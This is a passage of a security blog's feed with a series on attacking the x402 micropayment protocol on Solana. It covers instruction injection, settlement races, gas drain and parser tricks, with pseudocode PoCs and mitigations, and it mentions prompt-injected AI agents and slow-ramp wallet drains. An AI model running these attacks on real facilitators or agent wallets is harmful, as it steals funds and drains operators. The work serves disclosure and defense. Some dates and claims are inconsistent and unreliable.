<p>Append an instruction that calls a custom program. The custom program runs with the client&#39;s authority on the <em>destination</em> ATA — wait, that&#39;s not how Solana auth works.</p>
<p>Re-think: the client signs only their key. So instructions that are appended cannot use the <em>facilitator&#39;s</em> authority. They can:</p>
<ul>
<li>Use the client&#39;s keypair (signing already authorized).</li>
<li>Use any account the client controls.</li>
<li>Burn compute units the facilitator pays for.</li>
</ul>
<p><strong>Useful injection #1 (Pattern A1):</strong> Burn the facilitator&#39;s CU budget. Append a 30k-CU compute-burning instruction (e.g., a no-op loop in a custom program). The transfer succeeds at 5k CU; the burn at 30k CU; the facilitator pays for 35k CU instead of 5k CU. Per-tx gas drain magnified ~7×.</p>
<p><strong>Useful injection #2 (Pattern A2):</strong> Force a fail <em>after</em> the transfer succeeds. If the facilitator&#39;s verify path checks the transfer instruction is present but doesn&#39;t simulate the whole tx, an instruction that asserts a false condition (e.g., a custom <code>assert_value_equal(0, 1)</code>) <strong>fails the entire transaction</strong> and rolls back the transfer. The client&#39;s PAYMENT-RESPONSE looks valid (signed, submitted), the facilitator paid gas, but no token actually moved. Combined with the <a href="/blog/x402_settlement_race_condition/">settlement race</a>, this is monetisable.</p>
<h3>Pattern B: token-2022 transfer hook</h3>
<p>If the destination ATA is a token-2022 mint <em>with a transfer hook program</em>, every transfer to that ATA triggers a CPI into the hook program — which runs with the privileges of the SPL Token-2022 invoker.</p>
<p>The client controls the destination. If the client picks a destination ATA on a mint with a hostile transfer hook, the hook runs after the transfer with arbitrary code. The protocol spec says &quot;use USDC&quot;, but spec compliance is enforced by the facilitator&#39;s validator, not by Solana itself.</p>
<h3>Pattern C: minimum-amount string trick</h3>
<p>Combined with <a href="/blog/x402_amount_string_parser/">Vector 9 (amount string parsing)</a>: the PAYMENT-REQUIRED says <code>&quot;1000&quot;</code> (= $0.001). The client encodes <code>&quot;01000&quot;</code> in the SPL transfer (&quot;1000&quot; with a leading zero, which the validator&#39;s <code>parseInt</code> accepts). The actual on-chain value transferred is <code>1000</code> in raw lamports (or whatever the <code>parseInt</code> evaluates to in the validator vs the SPL program). Some validators round on parse; some don&#39;t. Mismatch = pay less than required.</p>
<h2>PoC sketch</h2>
<pre><code class="language-rust">// Pseudocode — see repo
fn craft_malicious_tx(facilitator: &amp;Pubkey, client: &amp;Keypair, amount: u64) -&gt; VersionedTransaction {
    let mut ixs = vec![
        compute_budget::set_unit_limit(40_000),
        compute_budget::set_unit_price(5),
        spl_token::transfer_checked(...),
    ];

    // Inject a CU-burner that fires AFTER the transfer.
    ixs.push(custom_program::cu_burn_30k());

    let blockhash = recent_blockhash();
    let msg = Message::new_with_blockhash(&amp;ixs, Some(facilitator), &amp;blockhash);
    let mut tx = VersionedTransaction { signatures: vec![Signature::default()], message: msg.into() };

    // Client signs; facilitator&#39;s signature stays default until /settle.
    let client_sig = tx.message.serialize().sign(client);
    tx.signatures[1] = client_sig;
    tx
}
</code></pre>
<h2>Mitigations</h2>
<p>The fix is also small but architecturally pointed:</p>
<ol>
<li><strong>Whitelist instruction prefix.</strong> The facilitator&#39;s <code>/verify</code> should require the instruction list to be <em>exactly</em> <code>[ComputeBudgetSetUnitLimit, ComputeBudgetSetUnitPrice, TransferChecked]</code>, no extras. Reject anything with a 4th instruction.</li>
<li><strong>Pin compute unit limit.</strong> Don&#39;t accept client-supplied CU budgets above 5k. Inject your own.</li>
<li><strong>Pin the mint.</strong> Don&#39;t accept any mint in the transfer; require an exact match against the facilitator&#39;s allowlist (<code>USDC mainnet only</code>).</li>
<li><strong>Simulate before sign.</strong> Run <code>simulateTransaction</code> against the partially-signed tx before adding feePayer. If sim fails or returns unexpected logs, reject.</li>
<li><strong>Reject token-2022 mints with hooks</strong> unless the hook program is on an allowlist.</li>
</ol>
<p>(1) and (2) together kill Patterns A and the CU-burn variant. (3) and (5) together kill Pattern B. (4) is good defense in depth.</p>
<h2>Why the spec hasn&#39;t fixed this</h2>
<p>Probably because the original x402 design assumes the client is benign — they&#39;re paying for content, why would they sabotage their own payment? The threat model that breaks this is &quot;the client is also the merchant&quot; or &quot;the client is also a competing facilitator&quot; or just &quot;the client is a researcher&quot;. Once you accept that the spec must work against malicious clients, Pattern A1 (CU burn) is the single highest-impact fix.</p>
<h2>Bibliography</h2>
<ul>
<li><a href="https://github.com/Dax911/x402_mal/tree/main/research">Dax911/x402_mal/research/instruction-injection/</a></li>
<li>Solana Token-2022 Transfer Hook: <a href="https://spl.solana.com/token-2022/extensions#transfer-hook">docs.solanalabs.com</a></li>
<li>ComputeBudgetProgram: <a href="https://solana.com/docs/core/transactions/runtime#compute-units">solana.com/docs</a></li>
</ul>
<p>Previous: <a href="/blog/x402_settlement_race_condition/">Settlement race ←</a> · Next: <a href="/blog/x402_facilitator_gas_drain/">Facilitator gas drain →</a></p>
]]></content>
</entry>
<entry>
  <title type="html"><![CDATA[Note · 2026-03-22]]></title>
  <id>https://blog.skill-issue.dev/notes/quote-pike-on-data/</id>
  <link rel="alternate" type="text/html" href="https://blog.skill-issue.dev/notes/quote-pike-on-data/"/>
  <published>2026-03-22T19:14:00.000Z</published>
  <updated>2026-03-22T19:14:00.000Z</updated>
  <author><name>Dax the Dev</name></author>
  <category term="notes"/>
  <category term="quotes"/>
  <category term="engineering"/>
  <content type="html"><![CDATA[<blockquote>
<p>Data dominates. If you&#39;ve chosen the right data structures and organized things well, the algorithms will almost always be self-evident. Data structures, not algorithms, are central to programming.
— Rob Pike</p>
</blockquote>
<p>I keep coming back to this every time I&#39;m tempted to be clever in a hot path. Nine times out of ten the win was upstream: a different shape, a different index, a different lifetime. The algorithm only mattered after I stopped fighting the data.</p>
]]></content>
</entry>
<entry>
  <title type="html"><![CDATA[x402 Vector 1: settlement race condition]]></title>
  <id>https://blog.skill-issue.dev/blog/x402_settlement_race_condition/</id>
  <link rel="alternate" type="text/html" href="https://blog.skill-issue.dev/blog/x402_settlement_race_condition/"/>
  <published>2026-03-22T18:00:00.000Z</published>
  <updated>2026-03-22T18:00:00.000Z</updated>
  <author><name>Dax the Dev</name></author>
  <category term="security"/>
  <category term="x402"/>
  <category term="solana"/>
  <category term="race-condition"/>
  <category term="research"/>
  <summary type="html"><![CDATA[Coinbase x402's verify→settle pipeline isn't atomic. A client can submit the same PAYMENT-SIGNATURE to multiple facilitators in parallel, or race the facilitator with a direct on-chain submission. Double-spend within blockhash validity (~60s).]]></summary>
  <content type="html"><![CDATA[<p>import { Mermaid, TradeoffTable, Aside, Quote } from &quot;@/components/mdx&quot;;</p>
<p>The cleanest vulnerability in the x402 protocol — also the one that&#39;s easiest to fix and the one most likely to bite production deployments. This post walks through the settlement race in detail, gives a PoC layout, and lists the mitigations that&#39;d close it.</p>
<p>Post 2 of the <a href="/series/x402-attack-surface/">SOLMAL series</a> on x402.</p>
<Aside kind="warn">
The PoC code is in [Dax911/x402_mal/research](https://github.com/Dax911/x402_mal/tree/main/research) and runs only against a mock facilitator. **Do not run this against a production facilitator without their explicit permission.**
</Aside>

<h2>The bug</h2>
<p>The x402 settlement flow has two server-side calls:</p>
<ol>
<li><code>POST /verify { tx, expected }</code> — facilitator returns 200 if the partially-signed tx is well-formed and pays the right amount.</li>
<li><code>POST /settle { tx }</code> — facilitator co-signs as feePayer and submits the tx to Solana.</li>
</ol>
<p>In every reference implementation I&#39;ve seen, these are independent HTTP handlers with no shared lock. <strong>A signed PAYMENT-SIGNATURE can be submitted to <code>/settle</code> more than once.</strong> The facilitator will:</p>
<ul>
<li>Re-co-sign with feePayer (idempotent — same tx hash).</li>
<li>Re-submit to Solana RPC.</li>
</ul>
<p>Solana itself deduplicates — the second submission of an already-confirmed tx returns <code>AlreadyProcessed</code>. Fine. But there&#39;s a window between <em>the client submitting tx_a</em> and <em>Solana confirming tx_a</em> during which the <em>same client signature</em> on a <em>different transaction</em> (tx_b, with a different blockhash or a different recipient ATA) can also be settled. The client paid once; the merchant believed they were paid; the underlying ledger says otherwise.</p>
<h2>Three concrete scenarios</h2>
<h3>Scenario 1: parallel facilitator submission</h3>
<p>If a network has multiple facilitators (Coinbase plus third parties), the client can:</p>
<ol>
<li>Build PAYMENT-SIGNATURE.</li>
<li>POST to facilitator A&#39;s <code>/settle</code>.</li>
<li>POST the same payload to facilitator B&#39;s <code>/settle</code> 50ms later.</li>
<li>Both facilitators submit. The first to land on Solana wins; the loser sees <code>AlreadyProcessed</code>.</li>
</ol>
<p>Result: only one tx settles on-chain, but both facilitators consumed gas, and <strong>both believed they had successfully settled the payment</strong> (depending on RPC client timing). Some facilitator implementations cache <code>/settle</code> responses by request hash; others cache by tx signature; others don&#39;t cache. The cache discrepancy is the monetisable bit.</p>
<h3>Scenario 2: client-side bypass</h3>
<ol>
<li>Client receives <code>PAYMENT-REQUIRED</code> with feePayer=facilitator.</li>
<li>Client builds PAYMENT-SIGNATURE.</li>
<li>Client <strong>also</strong> builds a <em>different</em> tx with the same client signature but a different recipient ATA — say, a second ATA the client controls.</li>
<li>Client submits the second tx directly to Solana RPC.</li>
<li>Client submits PAYMENT-SIGNATURE to <code>/settle</code>.</li>
</ol>
<p>If Solana confirms the <em>second</em> tx first (because the facilitator&#39;s RPC is in a different region with higher latency), the merchant&#39;s real settlement fails. The client never paid the merchant; the client paid themselves. The merchant might still grant access if they don&#39;t watch the on-chain confirmation tightly.</p>
<h3>Scenario 3: rapid replay</h3>
<p>Submit the same <code>PAYMENT-SIGNATURE</code> to the same facilitator 50 times in 1 second. If the facilitator&#39;s <code>/settle</code> handler doesn&#39;t lock-and-dedupe on the request payload hash, every call submits to Solana. 49 of 50 will fail with <code>AlreadyProcessed</code>, but during the racing window some may compute against stale state and reach unexpected outcomes (rent reclaims, ATA-init double-fee, etc.).</p>
<h2>PoC structure</h2>
<p>The repo contains a Rust harness in <a href="https://github.com/Dax911/x402_mal/tree/main/research">research/race-spammer/</a>:</p>
<pre><code class="language-rust">// Pseudocode — see repo for the runnable version.
async fn race_test(facilitator: &amp;Url, client: &amp;Keypair) -&gt; RaceResult {
    let req = build_payment_request(client);
    let sig = build_payment_signature(&amp;req, client);

    let handles: Vec&lt;_&gt; = (0..50).map(|_| {
        let url = facilitator.clone();
        let s   = sig.clone();
        tokio::spawn(async move {
            settle(&amp;url, s).await
        })
    }).collect();

    futures::future::join_all(handles).await
}
</code></pre>
<p>50 parallel <code>/settle</code> calls. Count: how many got HTTP 200? How many led to a confirmed Solana tx? How many cost the facilitator gas?</p>
<h2>Mitigations</h2>
<p>The fix is small but it does have to be coded:</p>
<ol>
<li><strong>Atomic verify+settle.</strong> Combine the two endpoints, or have <code>/settle</code> re-run verify under a lock keyed by the tx signature.</li>
<li><strong>Per-signature dedup.</strong> Cache settled tx signatures in Redis / KV with TTL = blockhash validity (~60s) + safety margin. Reject duplicate <code>/settle</code> calls with HTTP 409.</li>
<li><strong>Confirmation polling.</strong> <code>/settle</code> should not return until the tx is confirmed (level=<code>processed</code> minimum, ideally <code>confirmed</code>). Currently most implementations return on RPC submit, not on confirmation.</li>
<li><strong>Per-client rate limit on <code>/settle</code>.</strong> Even with dedup, a malicious client can create N distinct signatures. Limit per-IP and per-client-key.</li>
</ol>
<p>Of these, (2) is the easy win. KV cache keyed by signature, TTL of 90 seconds. Stops scenarios 1 and 3 dead.</p>
<h2>What this means for x402 deployments</h2>
<p>If you&#39;re operating an x402 facilitator: implement (2) before going live. The TTL needs to be longer than blockhash validity to cover the late-replay edge case. Use Cloudflare Workers KV, AWS DynamoDB, Redis — anything with sub-100ms eventual consistency.</p>
<p>If you&#39;re a merchant integrating x402: don&#39;t grant content access until the facilitator&#39;s <code>/settle</code> returns AND your own RPC poll confirms the tx. The current spec lets merchants act on the facilitator&#39;s word; the spec needs an explicit &quot;signature confirmed at slot S&quot; field, and merchants need to poll until they see that slot ≤ current_slot - 32 (final).</p>
<h2>Bibliography</h2>
<ul>
<li><a href="https://github.com/Dax911/x402_mal/blob/main/SOLMAL.md">Dax911/x402_mal SOLMAL.md</a> — full threat model</li>
<li>Solana Foundation. <em>Transaction confirmation levels.</em></li>
<li>Coinbase Developer Platform. <em>x402 specification.</em></li>
</ul>
<p>Previous: <a href="/blog/x402_attack_surface_intro/">Series intro ←</a> · Next: <a href="/blog/x402_partial_signing_injection/">Partial-signing instruction injection →</a></p>
]]></content>
</entry>
<entry>
  <title type="html"><![CDATA[x402 Vector 3: facilitator gas drain]]></title>
  <id>https://blog.skill-issue.dev/blog/x402_facilitator_gas_drain/</id>
  <link rel="alternate" type="text/html" href="https://blog.skill-issue.dev/blog/x402_facilitator_gas_drain/"/>
  <published>2026-03-21T18:00:00.000Z</published>
  <updated>2026-03-21T18:00:00.000Z</updated>
  <author><name>Dax the Dev</name></author>
  <category term="security"/>
  <category term="x402"/>
  <category term="solana"/>
  <category term="dos"/>
  <category term="economic-attack"/>
  <category term="research"/>
  <summary type="html"><![CDATA[x402 facilitators pay all transaction fees and the spec defines no per-client rate limit. A flood of valid-looking transactions that fail at maximum compute-unit consumption is a per-request economic attack on the facilitator.]]></summary>
  <content type="html"><![CDATA[<p>import { Mermaid, TradeoffTable, Aside, Quote } from &quot;@/components/mdx&quot;;</p>
<p>The x402 protocol has a fee model where the <strong>facilitator pays gas</strong>. This is the entire UX win — AI agents don&#39;t need SOL to make payments. It&#39;s also the entire economic attack surface.</p>
<p>Post 4 of the <a href="/series/x402-attack-surface/">x402 attack surface series</a>.</p>
<Aside kind="warn">
Like every post in this series: the PoC code at [Dax911/x402_mal](https://github.com/Dax911/x402_mal) targets only my mock facilitator. Don't run the gas-drain PoC against production infrastructure unless that infrastructure belongs to you.
</Aside>

<h2>The economics</h2>
<p>For each settled x402 transaction, the facilitator pays:</p>
<ul>
<li>5,000 lamports base fee (Solana minimum, ~$0.001 at SOL=$200).</li>
<li><code>compute_unit_limit × compute_unit_price</code> priority fee (configurable, max 5 microlamports/CU per spec, max 40,000 CU).</li>
<li>Worst-case priority fee: 40,000 × 5 = 200,000 microlamports = 0.0002 SOL ≈ $0.04.</li>
</ul>
<p>So per tx, facilitator outflow is bounded at ~$0.041. That&#39;s fine for legitimate traffic. It&#39;s not fine when an attacker generates valid-looking PAYMENT-SIGNATUREs at 1000 req/sec.</p>
<h2>The attack: maximum-CU failure</h2>
<p>Three flavors of failing transaction that maximally hurt the facilitator:</p>
<h3>Flavor A: legitimate-looking transfer that fails post-CU-burn</h3>
<p>Recall from <a href="/blog/x402_partial_signing_injection/">Vector 2</a>: the client controls the instruction list. Append a custom-program call that:</p>
<ol>
<li>Burns 35,000 CU in a no-op loop.</li>
<li>Asserts <code>False</code>, failing the entire tx.</li>
</ol>
<p>Outcome: facilitator pays 5k base + 175,000 microlamports priority = full $0.041. Tx reverts. Merchant gets nothing. Repeat at scale.</p>
<h3>Flavor B: valid-but-rejected mint</h3>
<p>Specify the wrong mint in the SPL <code>TransferChecked</code>. The instruction validates client-side because the client controls the bytes. The instruction fails on-chain because the mint pubkey doesn&#39;t match the ATA.</p>
<p>Solana&#39;s runtime evaluates the entire instruction <em>before</em> it can detect the failure — so the facilitator pays the full CU consumption.</p>
<h3>Flavor C: ATA derivation mismatch</h3>
<p>The client supplies a destination ATA that derives from <code>(owner=A, mint=USDC)</code> but specifies <code>(owner=B, mint=USDC)</code> in the instruction. Solana&#39;s <code>transfer_checked</code> verifies the ATA is consistent with the supplied owner+mint and rejects. CU consumed: full instruction cost.</p>
<p>All three flavors share the property: <strong>the facilitator&#39;s <code>/verify</code> returns 200 (validators check structure, not bytes)</strong>, the facilitator pays gas to settle, the tx reverts on-chain, the merchant doesn&#39;t get paid, the attacker has cost the facilitator money for nothing in return.</p>
<h2>Quantification</h2>
<p>A single attacker on a residential Comcast connection can sustain ~100 req/sec to a single facilitator endpoint. At ~$0.04/tx:</p>
<ul>
<li>100 req/sec × 60 sec/min × $0.04/tx = <strong>$240/min in facilitator gas</strong></li>
<li>Across an 8-hour business day: <strong>$115,200/day</strong></li>
</ul>
<p>Multiple attackers behind different IPs (e.g., a botnet of 1000) and the daily cost crosses $100M. Facilitator margins on legitimate x402 traffic are pennies per transaction. A sustained gas-drain attack burns the facilitator&#39;s runway in hours.</p>
<h2>Why the spec doesn&#39;t address this</h2>
<p>The spec assumes a &quot;trusted client&quot; model. AI agents operate semi-autonomously and <strong>don&#39;t have an incentive to attack the facilitator they&#39;re paying</strong> — except when they do. Specific incentive structures that make this attractive:</p>
<ol>
<li>A competitor (rival facilitator) wants the target out of business.</li>
<li>A nation-state actor wants to disrupt agentic-economy infrastructure.</li>
<li>A researcher (this writer) wants to demonstrate the bug.</li>
<li>An AI agent that&#39;s been adversarially prompted to drain its own facilitator&#39;s funds.</li>
</ol>
<p>Threat (4) is the one I find most interesting. An LLM that&#39;s been jailbroken via prompt injection could — at no cost to itself — execute the gas-drain attack against the facilitator, which is operationally what x402 was designed to make easy.</p>
<h2>Mitigations</h2>
<p>In rough order of effectiveness:</p>
<ol>
<li><strong>Per-client rate limit on <code>/settle</code>.</strong> The facilitator must enforce N transactions per client-keypair per minute. Default ~10 sounds fine; can be raised for trusted clients via API key.</li>
<li><strong>CU budget cap.</strong> Facilitator overrides client&#39;s <code>set_unit_limit</code> and <code>set_unit_price</code> instructions; pins to ≤5,000 CU and 1 microlamport/CU. Reduces worst-case outflow per tx by ~10×.</li>
<li><strong>Pre-flight simulation.</strong> Before adding feePayer signature, run <code>simulateTransaction</code>. If sim returns <code>Err</code>, reject before paying gas. Shifts cost to a quick simulation call.</li>
<li><strong>Reputation-based throttle.</strong> Track each client-keypair&#39;s settlement success ratio. Drop clients with under 50% success rate to a lower rate limit.</li>
<li><strong>Stake-or-pay deposits.</strong> Out-of-band: clients deposit a small SOL bond with the facilitator. Failed transactions debit from the bond. Removes the asymmetric-cost property entirely.</li>
</ol>
<p>(1) is the bare minimum. (3) is the most operationally complex but also the most thorough. (5) is the Real Fix but requires protocol changes.</p>
<h2>What I&#39;d do if I were operating an x402 facilitator</h2>
<pre><code class="language-python"># Pseudocode for the verify+settle endpoint
@app.post(&quot;/settle&quot;)
async def settle(req: SettleRequest):
    client_pk = extract_client_pubkey(req.tx)

    # 1. Per-client rate limit
    if not await rate_limit.allow(client_pk, max=10, window=60):
        return 429, &quot;rate_limited&quot;

    # 2. Re-validate (don&#39;t trust /verify)
    if not validate_tx(req.tx, expected_mint=USDC, max_cu=5_000):
        return 400, &quot;invalid_tx&quot;

    # 3. Pre-flight simulate
    sim = await rpc.simulate_transaction(req.tx)
    if sim.err is not None:
        # Failed simulation = don&#39;t pay gas
        return 400, &quot;sim_failed&quot;

    # 4. Add feePayer sig + submit
    signed = sign_with_feepayer(req.tx)
    sig = await rpc.send_transaction(signed)

    # 5. Wait for confirmation before returning success
    await rpc.confirm_transaction(sig, level=&quot;confirmed&quot;)

    return 200, {&quot;signature&quot;: sig}
</code></pre>
<p>Cost of all this: ~50ms added latency per settlement, plus one extra RPC call. Worth it.</p>
<h2>Bibliography</h2>
<ul>
<li><a href="https://github.com/Dax911/x402_mal/tree/main/research">Dax911/x402_mal/research/gas-drain-bench/</a></li>
<li>Solana Compute Unit Pricing: <a href="https://solana.com/docs/core/transactions/runtime#compute-units">solana.com/docs</a></li>
<li>Cloudflare KV rate limiting patterns</li>
</ul>
<p>Previous: <a href="/blog/x402_partial_signing_injection/">Partial-signing injection ←</a> · Next: <a href="/blog/x402_ai_agent_wallet_drain/">AI-agent wallet drain →</a></p>
]]></content>
</entry>
<entry>
  <title type="html"><![CDATA[x402 protocol security research with confirmed PoCs]]></title>
  <id>https://blog.skill-issue.dev/notes/x402-mal-research-pocs/</id>
  <link rel="alternate" type="text/html" href="https://github.com/Dax911/x402_mal/commit/de57a4a"/>
  <link rel="related" type="text/html" href="https://blog.skill-issue.dev/notes/x402-mal-research-pocs/"/>
  <published>2026-03-20T18:12:32.000Z</published>
  <updated>2026-03-20T18:12:32.000Z</updated>
  <author><name>Dax the Dev</name></author>
  <category term="notes"/>
  <category term="security"/>
  <category term="x402"/>
  <category term="research"/>
  <content type="html"><![CDATA[<p>Pushed the <a href="https://github.com/Dax911/x402_mal">SOLMAL</a> writeup with confirmed proofs-of-concept against the x402 (HTTP 402 micropayment) protocol. Three issues found, all in the <em>handshake</em> between agent and merchant — the protocol assumes the merchant&#39;s response is unforgeable, which is true if you trust the network layer but isn&#39;t if anyone can MITM the agent&#39;s outbound request.</p>
<p>PoCs land on a mock merchant + mock agent; mitigations need protocol-level signing on the 402 response. Coin Center / EFF style: report responsibly, give vendors 90 days, then publish.</p>
]]></content>
</entry>
<entry>
  <title type="html"><![CDATA[SOLMAL: the x402 attack surface (series intro)]]></title>
  <id>https://blog.skill-issue.dev/blog/x402_attack_surface_intro/</id>
  <link rel="alternate" type="text/html" href="https://blog.skill-issue.dev/blog/x402_attack_surface_intro/"/>
  <published>2026-03-20T18:00:00.000Z</published>
  <updated>2026-03-20T18:00:00.000Z</updated>
  <author><name>Dax the Dev</name></author>
  <category term="security"/>
  <category term="x402"/>
  <category term="solana"/>
  <category term="ai-agents"/>
  <category term="research"/>
  <summary type="html"><![CDATA[Mapping the attack surface of Coinbase's x402 micropayment protocol on Solana. Series intro covering the verify→settle pipeline, the actor model, the 9 vectors, and the responsible-disclosure timeline.]]></summary>
  <content type="html"><![CDATA[<p>import { Mermaid, TradeoffTable, Aside, Quote } from &quot;@/components/mdx&quot;;</p>
<p>Coinbase shipped <a href="https://x402.org/">x402</a> — a micropayment protocol that piggybacks on HTTP 402 (Payment Required) — in late 2025. It is, on paper, brilliant: AI agents pay for API access via stablecoin micropayments embedded in HTTP headers, the merchant doesn&#39;t need to run a payment processor, and a third-party &quot;facilitator&quot; sponsors gas on Solana so the agent doesn&#39;t need any SOL.</p>
<p>In late 2026 I spent a few weeks staring at the protocol. I came away with <strong>9 distinct attack vectors</strong> plus a meta-finding about AI-agent wallets that is, I think, the single biggest risk. This post is the series opener.</p>
<Aside kind="note">
This is published research. No specific vendor / facilitator was tested against without permission; the proofs-of-concept run against my own mock implementations. The repo is at [Dax911/x402_mal](https://github.com/Dax911/x402_mal) — public, MIT-licensed.
</Aside>

<h2>The protocol in 30 seconds</h2>
<p>Three actors: <strong>client</strong> (an AI agent with a Solana wallet), <strong>resource server</strong> (the API the agent wants to call), <strong>facilitator</strong> (validates payments, sponsors gas, settles on-chain).</p>
<p>&lt;Mermaid id=&quot;x402-flow&quot; code={<code>sequenceDiagram   participant C as Client (AI agent)   participant S as Resource Server   participant F as Facilitator   C-&gt;&gt;S: GET /endpoint   S--&gt;&gt;C: 402 + PAYMENT-REQUIRED header   C-&gt;&gt;C: Build partial VersionedTransaction&lt;br/&gt;(client signs, feePayer = facilitator)   C-&gt;&gt;S: GET + PAYMENT-SIGNATURE header   S-&gt;&gt;F: /verify (is this tx valid?)   F--&gt;&gt;S: 200 ok   S-&gt;&gt;F: /settle (co-sign as feePayer, submit)   F-&gt;&gt;F: Submit to Solana   F--&gt;&gt;S: 200 + signature   S--&gt;&gt;C: 200 + content + PAYMENT-RESPONSE </code>}/&gt;</p>
<p>The Solana-specific bits:</p>
<ul>
<li>Client builds a <code>VersionedTransaction</code> with an SPL <code>TransferChecked</code> instruction.</li>
<li><code>feePayer</code> is the facilitator&#39;s address.</li>
<li>Client only <strong>partially signs</strong> (their key); facilitator adds the feePayer signature.</li>
<li>USDC mint: <code>EPjFWdd5AufqSSqeM2qN1xzybapC8G4wEGGkZwyTDt1v</code>. 6 decimals, so <code>&quot;1000&quot;</code> = $0.001.</li>
<li>Compute budget capped at 40,000 CU, max 5 microlamports/CU.</li>
<li>Blockhash valid ~60 seconds (151 slots).</li>
</ul>
<h2>The 9 vectors</h2>
<table>
<thead>
<tr>
<th>#</th>
<th>Vector</th>
<th>Severity</th>
<th>Post</th>
</tr>
</thead>
<tbody><tr>
<td>1</td>
<td>Settlement race condition</td>
<td>High</td>
<td><a href="/blog/x402_settlement_race_condition/">walkthrough</a></td>
</tr>
<tr>
<td>2</td>
<td>Transaction manipulation (partial signing)</td>
<td>High</td>
<td><a href="/blog/x402_partial_signing_injection/">walkthrough</a></td>
</tr>
<tr>
<td>3</td>
<td>Facilitator gas drain</td>
<td>Medium</td>
<td><a href="/blog/x402_facilitator_gas_drain/">walkthrough</a></td>
</tr>
<tr>
<td>4</td>
<td>Blockhash replay window</td>
<td>Medium</td>
<td>(post 6)</td>
</tr>
<tr>
<td>5</td>
<td>Facilitator impersonation via feePayer field</td>
<td>Medium</td>
<td>(post 6)</td>
</tr>
<tr>
<td>6</td>
<td>AI-agent wallet exploitation</td>
<td><strong>High</strong></td>
<td><a href="/blog/x402_ai_agent_wallet_drain/">walkthrough</a></td>
</tr>
<tr>
<td>7</td>
<td>Header injection / parsing bugs</td>
<td>Medium</td>
<td>(post 6)</td>
</tr>
<tr>
<td>8</td>
<td>ATA derivation manipulation</td>
<td>Medium</td>
<td>(post 6)</td>
</tr>
<tr>
<td>9</td>
<td>Amount-string parsing</td>
<td>Medium</td>
<td><a href="/blog/x402_amount_string_parser/">walkthrough</a></td>
</tr>
</tbody></table>
<p>The five posts in this series cover Vectors 1, 2, 3, 6, 9 in detail. Vectors 4, 5, 7, 8 are noted in the <a href="https://github.com/Dax911/x402_mal/blob/main/SOLMAL.md">SOLMAL.md</a> research log and will land as a sweep post once I&#39;ve written PoCs for each.</p>
<h2>What&#39;s load-bearing about each vector</h2>
<p><strong>Vector 1 (Settlement Race).</strong> The verify→settle pipeline isn&#39;t atomic. A client can submit the same <code>PAYMENT-SIGNATURE</code> to multiple facilitators in parallel, or race the facilitator&#39;s submission with a conflicting transaction posted directly to Solana. Settlement double-execution lasts as long as the blockhash is valid (~60s).</p>
<p><strong>Vector 2 (Partial Signing).</strong> The client builds the entire transaction. The facilitator validates structure but typically doesn&#39;t audit <em>every byte</em> of every instruction. A malicious client appends extra instructions — a token-2022 hook, a clawback, an arbitrary CPI — that fire after the transfer.</p>
<p><strong>Vector 3 (Facilitator Gas Drain).</strong> The protocol specifies no per-client rate limit on the facilitator. Crafted transactions that <strong>fail validation in the worst possible way</strong> (consuming maximum CU before reverting) are still paid for by the facilitator. Economic DoS.</p>
<p><strong>Vector 6 (AI-Agent Wallet).</strong> The agent has a programmatic keypair and auto-approves payments below a price threshold. A service that starts at $0.001/req and ramps to $0.10/req over 1000 requests drains the wallet <em>without ever crossing the threshold</em>. The threshold check is done per-request, not per-session, not per-vendor.</p>
<p><strong>Vector 9 (Amount Parsing).</strong> Amounts in x402 are JSON strings like <code>&quot;1000&quot;</code>. Different implementations parse <code>&quot;1000&quot;</code> vs <code>&quot;1e3&quot;</code> vs <code>&quot; 1000 &quot;</code> vs <code>&quot;+1000&quot;</code> vs <code>&quot;01000&quot;</code> differently. Mismatch between facilitator&#39;s validator and Solana&#39;s actual transfer = monetisable.</p>
<h2>Disclosure posture</h2>
<p>This is <strong>public research</strong> against an open protocol with multiple independent implementations. I did not test against any specific facilitator without permission. The PoCs target a mock facilitator I wrote in the <a href="https://github.com/Dax911/x402_mal/tree/main/research">research/</a> tree.</p>
<p>For specific vendor implementations:</p>
<ul>
<li>I have not contacted Coinbase. The protocol is open; the bugs are in the spec, not in any single implementation.</li>
<li>If your team operates an x402 facilitator and any of this looks live in your code: please email me. Bridge: <a href="mailto:haydenaylor911@gmail.com">haydenaylor911@gmail.com</a>.</li>
<li>I&#39;ll honour a 90-day embargo if you have a remediation plan.</li>
</ul>
<h2>What&#39;s coming in the series</h2>
<p>5 deep-dive posts on the highest-impact vectors:</p>
<ol>
<li><a href="/blog/x402_settlement_race_condition/">Settlement race condition</a> — Vector 1, double-spend within blockhash validity</li>
<li><a href="/blog/x402_partial_signing_injection/">Partial-signing instruction injection</a> — Vector 2, append-and-execute</li>
<li><a href="/blog/x402_facilitator_gas_drain/">Facilitator gas drain</a> — Vector 3, economic DoS</li>
<li><a href="/blog/x402_ai_agent_wallet_drain/">AI-agent wallet drain</a> — Vector 6, slow-burn pricing</li>
<li><a href="/blog/x402_amount_string_parser/">Amount-string parser fuzzing</a> — Vector 9, JSON-numeric edge cases</li>
</ol>
<p>Plus a sweep post for Vectors 4, 5, 7, 8 once the PoCs land.</p>
<h2>Bibliography</h2>
<ul>
<li>Coinbase Developer Platform. <em>x402 Specification.</em> <a href="https://x402.org/">https://x402.org/</a></li>
<li>HTTP/1.1: Semantics. <em>RFC 7231 §6.5.2 (402 Payment Required).</em></li>
<li>Solana Foundation. <em>VersionedTransaction documentation.</em></li>
<li><a href="https://github.com/Dax911/x402_mal">Dax911/x402_mal</a> — research repo; SOLMAL.md is the threat-model log.</li>
</ul>
<p>Series finale: <a href="/blog/x402_settlement_race_condition/">Settlement race condition →</a></p>
]]></content>
</entry>
<entry>
  <title type="html"><![CDATA[P2P bootstrap via master discovery topic + seed nodes]]></title>
  <id>https://blog.skill-issue.dev/notes/cruiser-master-discovery-topic/</id>
  <link rel="alternate" type="text/html" href="https://github.com/Dax911/cruiser/commit/827b4e6"/>
  <link rel="related" type="text/html" href="https://blog.skill-issue.dev/notes/cruiser-master-discovery-topic/"/>
  <published>2026-03-11T21:21:17.000Z</published>
  <updated>2026-03-11T21:21:17.000Z</updated>
  <author><name>Dax the Dev</name></author>
  <category term="notes"/>
  <category term="cruiser"/>
  <category term="iroh"/>
  <category term="p2p"/>
  <category term="design"/>
  <content type="html"><![CDATA[<p><a href="https://github.com/Dax911/cruiser">cruiser</a> Phase 30 lands: a master gossip topic that all nodes join on first boot, plus a small set of seed nodes pinned in the binary. Once you&#39;ve heard one peer through the master topic, you can drop into per-app sub-topics and never speak to the master again.</p>
